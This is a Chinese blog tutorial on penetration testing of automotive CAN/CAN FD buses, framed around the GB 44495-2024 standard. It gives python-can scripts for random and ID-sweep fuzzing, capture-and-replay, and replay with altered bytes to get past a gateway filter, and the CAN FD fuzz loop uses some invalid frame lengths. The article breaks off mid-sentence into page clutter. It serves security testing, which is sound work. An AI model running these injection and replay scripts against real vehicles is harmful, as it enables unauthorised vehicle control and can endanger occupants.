汽车总线安全实战解析:CAN(FD)模糊与重放攻击深度剖析

智能汽车网络安全攻防实战:从CAN总线到OTA的十大攻击场景剖析 网络安全是保障现代智能系统稳定运行的基础,其核心在于理解系统架构、通信协议与潜在攻击面。在智能汽车领域,随着电子电气架构从分布式向域集中式演进,车载网络复杂度剧增,攻击面也随之扩大。CAN总线作为车内关键通信协议,因其缺乏认证加密机制,成为传统攻击的切入点;而以太网、T-Box等新技术的引入,则将IT网络的攻击手法(如ARP欺骗、远程漏洞利用)带入车内。从工程实践角度看,掌握这些通信协议的原理与脆弱性,对于构建纵深防御体系至关重要。例如,通过分析CAN总线消息可逆向控制车辆功能,而T-Box的远程漏洞可能成 阅读详情

1. 汽车总线安全入门:从CAN到CAN(FD)

大家好,我是张工,在汽车电子和安全领域摸爬滚打了十多年。今天我想和大家聊聊汽车总线安全,特别是CAN和CAN(FD)总线的模糊测试与重放攻击。如果你对汽车安全感兴趣,或者正在从事相关领域的工作,这篇文章应该能给你不少实用的干货。

汽车现在越来越智能,功能也越来越丰富,但随之而来的安全问题也日益突出。新发布的GB 44495-2024《汽车整车信息安全技术要求》标准,为汽车信息安全提供了明确的指导。这个标准不仅涵盖了信息安全管理体系,还详细规定了技术要求和测试方法,对于从事汽车安全的同行来说,是一份非常重要的参考文件。

CAN总线是汽车内部最常用的通信协议之一,负责连接ECU(电子控制单元)、传感器和执行器。而CAN(FD)是CAN的升级版,支持更高的数据传输速率和更大的数据帧。不过,无论是CAN还是CAN(FD),它们的设计初衷都是为了实现高效通信,而不是安全通信。这就给攻击者留下了可乘之机。

在渗透测试中,我们常常会用到模糊攻击和重放攻击。这两种攻击方式虽然简单,但非常有效,能够帮助我们发现系统中的潜在漏洞。接下来,我会结合自己的实战经验,详细解析这两种攻击的技术细节和实际操作步骤。

2. 模糊攻击:挖掘隐藏漏洞的利器

2.1 什么是模糊攻击?

模糊攻击的核心思想很简单:通过向目标系统发送大量无效、随机或非预期的数据,观察系统的反应,从而发现潜在的漏洞。这种方法不需要深入了解目标系统的具体实现细节,因此非常适合在信息有限的情况下进行测试。

在CAN(FD)总线中,模糊攻击可以针对不同的层面实施。比如,你可以对原始报文进行模糊,也可以基于DBC文件解析信号后对信号层进行模糊,甚至可以对特定协议(如UDS)进行模糊。每种层面都有其独特的优势和适用场景。

我自己在测试中更喜欢从原始报文层开始,因为这样不需要依赖额外的解析文件,可以直接看到总线的原始行为。不过,如果你的目标是测试某个特定功能或协议,信号层或协议层的模糊可能更合适。

2.2 模糊攻击实战步骤

首先,你需要准备一个能够与CAN(FD)总线交互的工具。常见的工具有SocketCAN、PCAN、Vector CANoe等。我个人比较喜欢用SocketCAN,因为它开源且灵活,适合自定义测试脚本。

以下是一个简单的Python脚本,用于生成随机CAN报文并发送到总线上:

import can
import random

# 初始化CAN接口
bus = can.interface.Bus(channel='can0', bustype='socketcan')

# 生成随机CAN报文
def generate_random_can_message():
    can_id = random.randint(0x100, 0x7FF)  # 随机生成标准帧ID
    data = [random.randint(0, 255) for _ in range(8)]  # 随机生成8字节数据
    message = can.Message(arbitration_id=can_id, data=data, is_extended_id=False)
    return message

# 发送模糊报文
try:
    while True:
        msg = generate_random_can_message()
        bus.send(msg)
        print(f"Sent: {msg}")
except KeyboardInterrupt:
    print("Stopped.")

这个脚本会不断向总线发送随机ID和随机数据的CAN报文。通过观察总线的反应,你可以发现哪些报文会导致系统异常。比如,某些ID的报文可能会让ECU重启,或者让某个功能失效。

在实际测试中,我建议先从ID遍历开始。你可以固定数据域为0,然后遍历所有可能的ID值。这样做的好处是能够快速发现哪些ID是系统响应的,从而缩小测试范围。以下是一个ID遍历的示例脚本:

import can

bus = can.interface.Bus(channel='can0', bustype='socketcan')

# ID遍历模糊
for can_id in range(0x100, 0x7FF):
    data = [0] * 8  # 数据域全0
    message = can.Message(arbitration_id=can_id, data=data, is_extended_id=False)
    bus.send(message)
    print(f"Sent ID: {hex(can_id)}")

通过这种方式,我曾经在一次测试中发现了一个隐藏的调试接口,该接口允许直接读写ECU内存,漏洞危害极大。

2.3 模糊攻击的注意事项

模糊攻击虽然强大,但也需要注意一些问题。首先,模糊测试可能会对系统造成不可逆的损害,比如导致ECU锁死或功能永久失效。因此,在测试前一定要确保环境是隔离的,或者有恢复措施。

其次,模糊测试的效率取决于生成的测试用例质量。纯粹的随机测试可能会漏掉一些关键漏洞,因此建议结合多种策略,比如基于规则的模糊或基于覆盖率的模糊。

最后,模糊测试的结果需要仔细分析。并不是所有的异常都是漏洞,有些可能是系统的正常行为。你需要结合业务逻辑和系统设计来判断哪些异常是真正需要关注的。

3. 重放攻击:简单却有效的攻击方式

3.1 重放攻击的原理

重放攻击是一种非常经典的攻击方式,它的核心思想是记录合法的通信数据,然后在适当的时候重新发送这些数据,以达到欺骗系统的目的。在汽车环境中,重放攻击常常用于绕过身份验证或重复执行某些操作。

比如,攻击者可以记录解锁车门的CAN报文,然后重放这些报文来实现无钥匙进入。这种攻击方式之所以有效,是因为CAN总线本身没有内置的防重放机制。报文一旦发送,就会被所有节点接收和处理,而不会检查报文是否已经发送过。

3.2 重放攻击实战步骤

执行重放攻击的第一步是捕获总线上的数据。你可以使用CAN分析工具(如Wireshark、CANalyzer)来监听总线流量,并记录感兴趣的报文。

以下是一个简单的Python脚本,用于捕获和重放CAN报文:

import can
from can import Message

bus = can.interface.Bus(channel='can0', bustype='socketcan')

# 捕获报文
captured_messages = []
print("Capturing messages for 10 seconds...")
for msg in bus:
    captured_messages.append(msg)
    if len(captured_messages) > 100:  # 捕获100条报文后停止
        break

# 重放报文
print("Replaying captured messages...")
for msg in captured_messages:
    bus.send(msg)
    print(f"Replayed: {msg}")

这个脚本会先捕获一段时间内的CAN报文,然后重新发送这些报文。通过观察系统的反应,你可以判断重放攻击是否成功。

在实际测试中,重放攻击可能会遇到一些防护措施。比如,许多车厂会在OBD口接入网关,过滤非法报文。还有些系统会在报文中加入计数字段或时间戳,以防止重放攻击。这时候,你需要分析报文的格式,找出防护机制的实现方式,然后尝试绕过它。

3.3 绕过重放防护的实战案例

我曾经遇到一个项目,目标车辆对OBD口的重放攻击做了防护。网关会检查报文的ID和数据域,只允许特定的报文通过。为了绕过这个防护,我尝试了以下几种方法:

  1. 修改报文ID:有些网关只过滤特定ID的报文,通过修改ID可能绕过过滤。
  2. 拆分报文:将一条报文拆分成多条发送,绕过网关的规则匹配。
  3. 注入延迟:在重放时加入随机延迟,避免被计数字段检测到。

最终,我发现网关对数据域的检查并不严格,通过轻微修改数据域中的非关键字段,成功绕过了防护。以下是一个示例脚本,用于修改报文数据域并重放:

import can
import random

bus = can.interface.Bus(channel='can0', bustype='socketcan')

# 捕获报文
captured_messages = []
for msg in bus:
    if msg.arbitration_id == 0x100:  # 只捕获特定ID的报文
        captured_messages.append(msg)
    if len(captured_messages) > 10:
        break

# 修改数据域并重放
for msg in captured_messages:
    modified_data = list(msg.data)
    modified_data[0] = random.randint(0, 255)  # 修改第一个字节
    modified_msg = can.Message(
        arbitration_id=msg.arbitration_id,
        data=modified_data,
        is_extended_id=msg.is_extended_id
    )
    bus.send(modified_msg)
    print(f"Replayed modified: {modified_msg}")

通过这种方式,我成功绕过了网关的过滤,实现了重放攻击。这个案例说明,即使有防护措施,只要仔细分析,总能找到绕过的方法。

4. 结合GB 44495-2024标准的测试实践

4.1 标准中的安全要求

GB 44495-2024《汽车整车信息安全技术要求》标准对汽车信息安全提出了详细的要求,包括安全管理体系、基本要求、技术要求和测试方法。在渗透测试方面,标准特别强调了应对模糊攻击和重放攻击的防护能力。

标准要求汽车系统应能够正确处理无效、异常或恶意的输入数据,避免系统崩溃或功能失效。同时,系统应具备防重放机制,防止攻击者通过重放合法数据绕过安全控制。

4.2 标准符合性测试案例

为了满足标准要求,我在测试中会特别关注以下几个方面:

  1. 模糊测试的覆盖范围:确保测试覆盖了所有可能的输入域,包括仲裁域、控制域和数据域。
  2. 重放攻击的防护验证:测试系统是否能够有效检测和阻止重放攻击。
  3. 异常处理机制:观察系统在收到异常报文时的行为,是否能够 gracefully 处理错误。

以下是一个结合标准要求的模糊测试示例脚本,该脚本针对CAN(FD)报文的各个域进行模糊测试:

import can
import random

bus = can.interface.Bus(channel='can0', bustype='socketcan')

# 模糊测试函数
def fuzz_can_fd():
    # 模糊仲裁域
    for arbid in [0x100, 0x200, 0x300]:
        # 模糊控制域
        for dlc in range(0, 65):  # CAN(FD)支持0-64字节
            # 模糊数据域
            data = [random.randint(0, 255) for _ in range(dlc)]
            message = can.Message(
                arbitration_id=arbid,
                data=data,
                is_extended_id=False,
                is_fd=True
            )
            bus.send(message)
            print(f"Sent: {message}")

fuzz_can_fd()

通过这个脚本,我可以全面测试CAN(FD)总线对异常报文的处理能力。在实际项目中,这种测试帮助我发现了一个ECU的缓冲区溢出漏洞,该漏洞可能导致代码执行,危害极大。

4.3 测试结果的分析与报告

测试完成后,你需要对结果进行详细分析,并生成测试报告。报告应包括以下内容:

  1. 测试环境:包括硬件、软件、网络拓扑等信息。
  2. 测试用例:详细描述每个测试用例的设计和执行过程。
  3. 发现的问题:列出所有发现的漏洞,包括漏洞描述、危害等级和复现步骤。
  4. 修复建议:针对每个漏洞提供具体的修复建议。

测试报告不仅可以帮助开发团队修复问题,还可以作为符合性评估的证据,证明系统满足GB 44495-2024标准的要求。

5. 实战中的常见问题与解决方案

5.1 工具选择与配置

在渗透测试中,工具的选择非常重要。不同的工具有不同的优缺点,你需要根据测试需求选择合适的工具。

我个人比较推荐以下工具:

  • SocketCAN:开源且灵活,适合自定义测试脚本。
  • PCAN:商业工具,稳定性和性能更好,适合大规模测试。
  • CANoe:功能强大,支持仿真和测试自动化,但价格较高。

无论选择哪种工具,都需要正确配置硬件和软件环境。比如,在使用SocketCAN时,你需要先配置CAN接口:

# 配置CAN接口
sudo ip link set can0 type can bitrate 500000
sudo ip link set up can0

5.2 测试环境搭建

测试环境的搭建也很关键。理想情况下,你应该在一个隔离的环境中进行测试,避免对真实车辆造成影响。我通常使用以下两种方式搭建测试环境:

  1. 仿真环境:使用CANoe或类似工具搭建虚拟总线,模拟ECU节点和网络拓扑。
  2. 实车环境:在实验室中使用真实车辆,但断开与关键系统的连接,确保安全。

仿真环境的优点是安全且可重复,但可能无法完全模拟真实行为。实车环境更真实,但风险更高,需要谨慎操作。

5.3 常见问题与解决

在测试过程中,你可能会遇到各种问题。以下是一些常见问题及解决方案:

  • 总线负载过高:模糊测试可能会导致总线负载过高,影响正常通信。可以通过调整发送速率或使用硬件加速来解决。
  • 工具兼容性问题:某些工具可能不支持CAN(FD)协议,需要升级或更换工具。
  • 系统无响应:如果测试导致系统无响应,可能需要重启或恢复系统。建议在测试前备份系统状态。

我在一次测试中曾经因为总线负载过高导致整个网络瘫痪,最后通过降低发送速率和优化测试脚本解决了问题。这次经历让我意识到,测试时一定要谨慎控制总线负载,避免影响正常功能。

6. 未来趋势与个人建议

汽车安全是一个快速发展的领域,随着技术的进步,新的攻击方式和防护手段不断涌现。从目前的趋势来看,汽车系统正在从传统的CAN总线向车载以太网过渡,这将带来新的安全挑战和机遇。

车载以太网支持更高的带宽和更复杂的协议,但同时也引入了更多的攻击面。未来的渗透测试可能需要覆盖更广泛的协议和更复杂的网络拓扑。

根据我的经验,我建议从事汽车安全测试的同行们重点关注以下几个方面:

  1. 持续学习:汽车技术更新很快,需要不断学习新知识和技术。
  2. 工具链建设:积累自己的工具链和脚本库,提高测试效率。
  3. 合作交流:多参加行业会议和社区活动,与其他专家交流经验。

最后,我想强调的是,汽车安全测试不仅是一项技术工作,更是一项责任。我们的工作直接影响着用户的

智能汽车安全实战:从CAN总线漏洞到车载系统纵深防御框架 在软件定义汽车的时代,车载系统的网络安全已成为智能网联汽车的核心议题。其安全风险根植于复杂的电子电气架构与通信协议,尤其是车内网络(如CAN总线)因设计之初缺乏认证与加密机制,成为关键攻击面。理解内存安全、权限绕过等通用软件漏洞在嵌入式环境下的特殊表现,以及如何通过逆向工程解析CAN报文,是评估车辆风险的基础。这些技术的工程价值在于构建主动防御能力,直接关系到功能安全与人身安全。本文以车载信息娱乐系统、环视系统等典型应用场景为切入点,结合CAN总线安全测试等实操环节,系统探讨了从安全开发流程、车内网络防护到 阅读详情

相关推荐

从车牌号到远程控制:起亚汽车API安全漏洞深度剖析与车联网安全启示

API安全是保障现代软件系统与物联网设备通信和数据交互的核心防线,其核心原理在于通过身份验证、授权与加密机制确保只有合法用户才能访问特定资源。在车联网、物联网等场景中,API作为连接云、管、端的关键枢纽,其安全性直接关系到功能安全与数据隐私。本次探讨的**起亚汽车安全漏洞**事件,正是API安全设计缺陷的典型案例。攻击者利用**车牌号**这一公开标识符,通过存在逻辑缺陷的查询接口关联到车辆内部敏感标识(如VIN),进而绕过或利用薄弱的身份验证机制,对车辆执行未授权的远程控制指令。这凸显了在追求用户体验与便捷

weixin_33714884的博客 431

汽车总线安全实战:CAN(FD)模糊与重放攻击深度解析

本文深度解析汽车总线安全实战,重点探讨CAN(FD)协议下的模糊攻击与重放攻击技术。通过详实的渗透测试案例和操作演示,揭示了车载网络存在的安全隐患,并提供了相应的防御策略与最佳实践,助力提升汽车电子系统的安全防护能力。

jupi8的博客 676

【多媒体处理】基于C++与Qt的短视频智能裁剪系统:FFmpeg驱动的横竖屏转换与预览解决方案 项目介绍 基于C++、Qt与FFmpeg的短视频横竖屏智能裁剪与预览系统设计与实现(含模型描述及部分示例

内容概要:本文介绍了一个基于C++、Qt与FFmpeg的短视频横竖屏智能裁剪与预览系统的设计与实现。系统通过构建完整的视频处理闭环,实现了从视频读取、解码、内容分析、智能裁剪到实时预览和重新编码的全流程处理。核心架构分为五个层次:媒体输入与标准化层利用FFmpeg完成视频解复用与解码,并统一帧格式;视觉重要区域分析层通过显著性检测、边缘强度、颜色差异和运动信息识别画面中的主体区域;时序跟踪与轨迹稳定层采用卡尔曼滤波或指数平滑技术对主体位置进行连续优化,确保裁剪窗口在时间维度上的稳定性;比例约束与裁剪决策层根据目标宽高比和主体位置求解最优裁剪框,兼顾内容保留与画面合规;预览、导出与任务控制层基于Qt实现双画面同步预览、参数配置和导出控制,保障交互流畅性。项目还提供了模拟数据生成功能,可批量生成五万条包含分辨率、主体位置、运动速度、覆盖率等字段的结构化样本,支持算法验证与模型训练。; 适合人群:具备C++编程基础,熟悉Qt图形界面开发和FFmpeg多媒体处理技术的中高级研发人员,尤其适用于从事视频处理、智能编辑、自动化内容生产等相关领域的开发者或科研人员。; 使用场景及目标:①解决短视频在横竖屏转换过程中因固定裁剪导致的主体丢失问题,提升内容保留能力;②实现高效稳定的智能裁剪算法原型开发与性能测试;③构建可扩展的视频处理系统框架,支持后续集成人脸检测、人体识别或深度学习模型;④为算法优化提供标准化数据集,支持回归测试与质量评估。; 阅读建议:此资源不仅包含完整的技术架构设计和核心代码示例,还强调工程实践中对资源管理、线程安全、性能优化和异常处理的关注。建议读者结合代码实现深入理解各模块间的协作机制,并尝试替换分析器或调整平滑策略以验证不同算法效果。同时推荐运行数据生成模块,用于训练模型或开展量化对比实验。

嵌入式安全通信生死线,C语言CAN FD协议栈开发必避的8个致命陷阱及FMEA验证清单

聚焦嵌入式安全通信痛点,提供C语言CAN FD总线安全通信协议开发的8个致命陷阱规避方案与FMEA验证清单,覆盖汽车电子、工业控制等高可靠场景,提升协议栈鲁棒性与认证通过率,值得收藏。

CodeVibe的博客 231

政府科技管理者如何提升科技成果转化项目进场交易的备案效率?.docx

政府科技管理者如何提升科技成果转化项目进场交易的备案效率?

科技中介服务机构如何通过智能体技术提升服务效率与专业度?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

光伏板太阳能板尘土灰尘脏污检测数据集VOC+YOLO格式1006张3类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 优快云 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 优快云 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 优快云 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 优快云 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

产业园区如何高效对接企业技术需求并推动成果转化?观点作者:科易网-国家科技成果转化(厦门)示范基地.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

无功优化电网故障下分布式能源系统多目标优化[并网转换器(GCC)](Matlab代码&Simulink实现)

内容概要:本文详细介绍了基于Plecs或Simulink平台构建的全桥LLC谐振变换器仿真模型,重点研究了变频控制与移相混合控制策略下的闭环系统设计与参数优化方法。内容涵盖全桥LLC谐振变换器的工作原理、小信号建模技术(如扩展描述函数EDF)、PID控制器参数整定过程以及软开关实现条件,并通过仿真验证了系统在稳态输出性能、动态响应特性(如启动过程与负载阶跃)和频率调节平滑性等方面的优良表现。同时提供了完整的仿真模型、参数设计报告及说明文档,有助于读者复现结果并深入理解控制机制与建模细节。; 适合人群:具备电力电子、自动控制等相关专业知识背景,从事高效率电源设计、新能源变换系统研发的工程师及高等院校电力电子与电力传动方向的研究生。; 使用场景及目标:①掌握LLC谐振变换器的小信号建模与闭环控制系统设计方法;②学习并应用变频与移相结合控制策略提升电源转换效率;③支撑科研项目中的电力电子系统仿真验证或学位论文课题开发;④复现高水平学术论文中关于谐振变换器的控制方案与性能分析。; 阅读建议:建议结合所提供的仿真模型与参数设计资料,边运行仿真边对照文章内容理解控制逻辑与建模过程,特别关注小信号模型的建立方法与PID控制器参数整定环节,以增强对实际工程问题的分析与设计能力。

政府科技管理者在推动科技成果转化时,如何高效整合区域创新要素资源?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

法律服务业AI知识库与大模型训练平台规划方案.pptx

法律服务业AI知识库与大模型训练平台规划方案.pptx

两相交错并联Boost电路仿真模型(Simulink仿真实现)

内容概要:本文围绕两相交错并联Boost电路的Simulink仿真模型展开,旨在通过仿真手段深入研究该电路在电力电子系统中的工作特性与性能优势。文章系统阐述了两相交错并联Boost电路的拓扑结构、工作原理及其在提升系统效率、减小输入电流纹波、均衡电流分配方面的显著优势。通过构建完整的Simulink仿真模型,对电路在不同负载与输入条件下的动态响应、稳态性能及控制策略进行了全面分析与验证。重点设计并实现了电压电流双闭环PI控制策略,详细论述了PI控制器的参数整定方法、占空比调节机制以及交错并联所带来的均流效果。仿真结果表明,所构建的模型能够有效提升系统的动态响应速度与稳定性,显著降低输入电流的谐波含量与纹波幅值,验证了交错并联技术在中高功率DC-DC变换应用中的优越性。; 适合人群:具备电力电子技术基础、熟悉Simulink仿真的电气工程及相关专业本科生、研究生,以及从事电源系统设计、新能源变换器研发的工程技术人员。; 使用场景及目标:①学习和掌握交错并联Boost电路的拓扑结构、工作原理与建模方法;②开展电力电子变换器的仿真分析、控制器设计与参数优化;③为实际工程项目中的高性能DC-DC变换器设计,特别是追求低输入纹波和高功率密度的应用场景,提供理论支撑与仿真验证依据。; 阅读建议:建议读者结合Simulink模型文件同步操作,深入理解主电路各模块、双闭环控制结构及PWM调制环节的参数设置与逻辑实现,重点关注PI控制器的参数整定过程与交错控制的时序配合,并可通过调整输入电压、负载大小及控制参数进行对比实验,以深化对交错并联技术优势及其控制策略的理解。

山区道路边坡落石隐患检测数据集VOC+YOLO格式241张1类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 优快云 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 优快云 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 优快云 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 优快云 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

秋葵成熟度检测数据集VOC+YOLO格式508张3类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 优快云 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 优快云 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 优快云 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 优快云 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

高空作业栏杆检测数据集VOC+YOLO格式230张3类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 优快云 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 优快云 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 优快云 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 优快云 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

ti-cgt-c2000-22.6.0.LTS-windows-x64-installer

ti-cgt-c2000-22.6.0.LTS-windows-x64-installer

上一篇: 海思VPSS模块实战:视频处理核心功能与多通道配置详解
下一篇: HAL库实战技巧:GPIO、TIM与UART高效应用指南
普通网友
博客等级 码龄4年 95粉丝 1459原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值